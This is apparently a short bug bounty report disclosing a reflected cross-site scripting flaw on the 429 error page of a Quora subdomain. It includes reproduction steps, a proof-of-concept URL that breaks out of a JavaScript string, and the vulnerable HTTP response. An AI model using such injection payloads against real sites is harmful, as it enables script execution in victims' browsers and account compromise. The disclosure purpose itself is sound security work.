[controlsyou.quora.com] 429 Too Many Requests Error-Page XSS

How it was found

Summary: XSS on the error page when the user makes too many requests.

Steps To Reproduce

1. Make a lot of requests to get the error 429
2. Open PoC in FireFox

https://controlsyou.quora.com/'-alert(document.domain)-'

HTTP Response

<script type="text/javascript">
...
ga('set', 'dimension1', 'board-'-alert(document.domain)-'');
ga('set', 'dimension2', 'False');
ga('set', 'dimension3', 'False');});});</script>

Optional: Your Environment (Browser version, Device, app version, os version etc)

Tested on FireFox 50.0.2